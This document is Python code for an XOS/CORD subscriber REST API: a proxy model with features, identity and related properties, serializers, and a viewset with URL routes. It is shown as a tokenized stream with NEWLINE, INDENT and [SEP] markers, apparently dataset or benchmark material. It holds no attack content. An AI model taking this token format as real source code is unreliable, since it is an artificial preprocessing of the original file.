"\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "api", "base_", "import_", "XO", "SL", "ist", "Creat", "e", "API", "View_", ",_", "XO", "SR", "etri", "eve", "Update", "Destr", "oy", "API", "View_", ",_", "XO", "SP", "erm", "ission", "Denied_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "exceptions_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "decorators_", "._", "csrf_", "import_", "ensure", "\\u", "csr", "f", "\\u", "cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "some", " ", "structure", " ", "to", " ", "the", " ", "REST", " ", "API", " ", "by", " ", "subdivi", "ding", " ", "the", " ", "object", " ", "into_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "features", ",", " ", "identi", "ty", ",", " ", "and", " ", "relate", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "@", "ensure", "\\u", "csr", "f", "\\u", "cookie_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proxy_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app", "\\u", "label_", "=_", "\"", "cord", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Cor", "d", "Subscrib", "er", "New_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "cord", "Subscrib", "er", "-%", "s", "\"_", "%_", "str_", "(_", "self_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "features_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\"", "cdn", "\"_", ":_", "self_", "._", "cdn", "\\u", "enable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "upli", "nk", "\\u", "speed", "\"_", ":_", "self_", "._", "upli", "nk", "\\u", "speed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "down", "link", "\\u", "speed", "\"_", ":_", "self_", "._", "down", "link", "\\u", "speed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "uve", "rse", "\"_", ":_", "self_", "._", "enable", "\\u", "uve", "rse", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "status", "\"_", ":_", "self_", "._", "status_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "features_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "features_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cdn", "\\u", "enable_", "=_", "value_", "._", "get_", "(_", "\"", "cdn", "\"_", ",_", "self_", "._", "get", "\\u", "default", "\\u", "attribute_", "(_", "\"", "cdn", "\\u", "enable", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "upli", "nk", "\\u", "speed_", "=_", "value_", "._", "get_", "(_", "\"", "upli", "nk", "\\u", "speed", "\"_", ",_", "self_", "._", "get", "\\u", "default", "\\u", "attribute_", "(_", "\"", "upli", "nk", "\\u", "speed", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "down", "link", "\\u", "speed_", "=_", "value_", "._", "get_", "(_", "\"", "down", "link", "\\u", "speed", "\"_", ",_", "self_", "._", "get", "\\u", "default", "\\u", "attribute_", "(_", "\"", "down", "link", "\\u", "speed", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "enable", "\\u", "uve", "rse", "_", "=_", "value_", "._", "get_", "(_", "\"", "uve", "rse", "\"_", ",_", "self_", "._", "get", "\\u", "default", "\\u", "attribute_", "(_", "\"", "enable", "\\u", "uve", "rse", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "value_", "._", "get_", "(_", "\"", "status", "\"_", ",_", "self_", "._", "get", "\\u", "default", "\\u", "attribute_", "(_", "\"", "status", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "features_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "self_", "._", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "update_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "features_", "=_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "identity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\"", "account", "\\u", "num", "\"_", ":_", "self_", "._", "service", "\\u", "specific", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "name", "\"_", ":_", "self_", "._", "name_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "identity_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "identity_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service", "\\u", "specific", "\\u", "id_", "=_", "value_", "._", "get_", "(_", "\"", "account", "\\u", "num", "\"_", ",_", "self_", "._", "service", "\\u", "specific", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "value_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "self_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "identity_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "self_", "._", "identity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "update_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "identity_", "=_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "related_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "related_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "volt", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "related_", "[_", "\"", "volt", "\\u", "id", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "related_", "[_", "\"", "s", "\\u", "tag", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "s", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "related_", "[_", "\"", "c\\u", "tag", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "c\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "volt", "_", "._", "vc", "pe_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "related_", "[_", "\"", "vs", "g", "\\u", "id", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "instance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "related_", "[_", "\"", "instance", "\\u", "id", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "instance_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "related_", "[_", "\"", "instance", "\\u", "name", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "instance_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "related_", "[_", "\"", "wan", "\\u", "container", "\\u", "ip", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "wan", "\\u", "container", "\\u", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "instance_", "._", "node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "related_", "[_", "\"", "compute", "\\u", "node", "\\u", "name", "\"_", "]_", "=_", "self_", "._", "volt", "_", "._", "vc", "pe_", "._", "instance_", "._", "node_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "related_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "New_", "(_", "Cor", "d", "Subscrib", "er", "Root_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Cor", "d", "Subscrib", "er", "New_", ",_", "self_", ")_", "._", "save_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Feature", "Serializer_", "(_", "serializers_", "._", "Serializer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cdn", "_", "=_", "serializers_", "._", "Boo", "lean", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "upli", "nk", "\\u", "speed_", "=_", "serializers_", "._", "Integer", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "down", "link", "\\u", "speed_", "=_", "serializers_", "._", "Integer", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uve", "rse", "_", "=_", "serializers_", "._", "Boo", "lean", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "serializers_", "._", "Char", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Ident", "it", "y", "Serializer_", "(_", "serializers_", "._", "Serializer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "account", "\\u", "num_", "=_", "serializers_", "._", "Char", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "serializers_", "._", "Char", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Cor", "d", "Subscrib", "er", "Serializer_", "(_", "Plus", "Model", "Serializer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "Read", "On", "ly", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "human", "Read", "able", "Name_", "=_", "serializers_", "._", "Seriali", "zer", "Meth", "od", "Field_", "(_", "\"", "get", "Huma", "n", "Read", "able", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "=_", "Feature", "Serializer_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identity_", "=_", "Ident", "it", "y", "Serializer_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "related_", "=_", "serializers_", "._", "Dict", "Field_", "(_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nest", "ed", "\\u", "fields_", "=_", "[_", "\"", "features", "\"_", ",_", "\"", "identi", "ty", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Cor", "d", "Subscrib", "er", "New_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "(_", "'", "human", "Read", "able", "Name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "features", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "relate", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "Serializer_", "(_", "Plus", "Model", "Serializer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Huma", "n", "Read", "able", "Name_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "obj_", "._", "\\u\\u", "unicode\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base", "\\u", "name_", "=_", "\"", "subscribe", "r", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "\"", "subscribe", "r", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "kind_", "=_", "\"", "views", "et", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queryset_", "=_", "Cor", "d", "Subscrib", "er", "New_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "select", "\\u", "related_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "serialize", "r", "\\u", "class_", "=_", "Cor", "d", "Subscrib", "er", "Serializer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "custom", "\\u", "serializers_", "=_", "{_", "\"", "set\\u", "features", "\"_", ":_", "Feature", "Serializer_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "set\\u", "feature", "\"_", ":_", "Feature", "Serializer_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "set\\u", "identities", "\"_", ":_", "Ident", "it", "y", "Serializer_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "set\\u", "identi", "ty", "\"_", ":_", "Ident", "it", "y", "Serializer_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "urlpatterns_", "(_", "self_", ",_", "api", "\\u", "path_", "=_", "\"", "^", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "patterns_", "=_", "super_", "(_", "Cor", "d", "Subscrib", "er", "View", "Set_", ",_", "self_", ")_", "._", "get", "\\u", "urlpatterns_", "(_", "api", "\\u", "path_", "=_", "api", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patterns_", "._", "append_", "(_", "self_", "._", "deta", "il", "\\u", "url_", "(_", "\"", "features", "/$", "\"_", ",_", "{_", "\"", "get", "\"_", ":_", "\"", "get", "\\u", "features", "\"_", ",_", "\"", "put", "\"_", ":_", "\"", "set\\u", "features", "\"_", "}_", ",_", "\"", "features", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patterns_", "._", "append_", "(_", "self_", "._", "deta", "il", "\\u", "url_", "(_", "\"", "features", "/(", "?", "P", "<", "feature", ">[", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\\\-\\", "u", "]+)", "/$", "\"_", ",_", "{_", "\"", "get", "\"_", ":_", "\"", "get", "\\u", "feature", "\"_", ",_", "\"", "put", "\"_", ":_", "\"", "set\\u", "feature", "\"_", "}_", ",_", "\"", "get", "\\u", "feature", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patterns_", "._", "append_", "(_", "self_", "._", "deta", "il", "\\u", "url_", "(_", "\"", "identi", "ty", "/$", "\"_", ",_", "{_", "\"", "get", "\"_", ":_", "\"", "get", "\\u", "identities", "\"_", ",_", "\"", "put", "\"_", ":_", "\"", "set\\u", "identities", "\"_", "}_", ",_", "\"", "identities", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patterns_", "._", "append_", "(_", "self_", "._", "deta", "il", "\\u", "url_", "(_", "\"", "identi", "ty", "/(", "?", "P", "<", "identi", "ty", ">[", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\\\-\\", "u", "]+)", "/$", "\"_", ",_", "{_", "\"", "get", "\"_", ":_", "\"", "get", "\\u", "identi", "ty", "\"_", ",_", "\"", "put", "\"_", ":_", "\"", "set\\u", "identi", "ty", "\"_", "}_", ",_", "\"", "get", "\\u", "identi", "ty", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "patterns_", "._", "append_", "(_", "url_", "(_", "self_", "._", "api", "\\u", "path_", "+_", "\"", "account", "\\u", "num", "\\u", "look", "up", "/(", "?", "P", "<", "account", "\\u", "num", ">[", "0", "-", "9", "\\\\-]", "+)", "/$", "\"_", ",_", "self_", "._", "as", "\\u", "view_", "(_", "{_", "\"", "get", "\"_", ":_", "\"", "account", "\\u", "num", "\\u", "deta", "il", "\"_", "}_", ")_", ",_", "name_", "=_", "\"", "account", "\\u", "num", "\\u", "deta", "il", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "patterns_", "._", "append_", "(_", "url_", "(_", "self_", "._", "api", "\\u", "path_", "+_", "\"", "ssid", "map", "/(", "?", "P", "<", "ssid", ">[", "0", "-", "9", "\\\\-]", "+)", "/$", "\"_", ",_", "self_", "._", "as", "\\u", "view_", "(_", "{_", "\"", "get", "\"_", ":_", "\"", "ssid", "deta", "il", "\"_", "}_", ")_", ",_", "name_", "=_", "\"", "ssid", "deta", "il", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patterns_", "._", "append_", "(_", "url_", "(_", "self_", "._", "api", "\\u", "path_", "+_", "\"", "ssid", "map", "/$", "\"_", ",_", "self_", "._", "as", "\\u", "view_", "(_", "{_", "\"", "get", "\"_", ":_", "\"", "ssid", "list", "\"_", "}_", ")_", ",_", "name_", "=_", "\"", "ssid", "list", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "patterns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "list_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "self_", "._", "filter", "\\u", "queryset_", "(_", "self_", "._", "get", "\\u", "queryset_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "serializer_", "=_", "self_", "._", "get", "\\u", "serializer_", "(_", "object\\u", "list_", ",_", "many_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Response_", "(_", "serializer_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "features_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ")_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 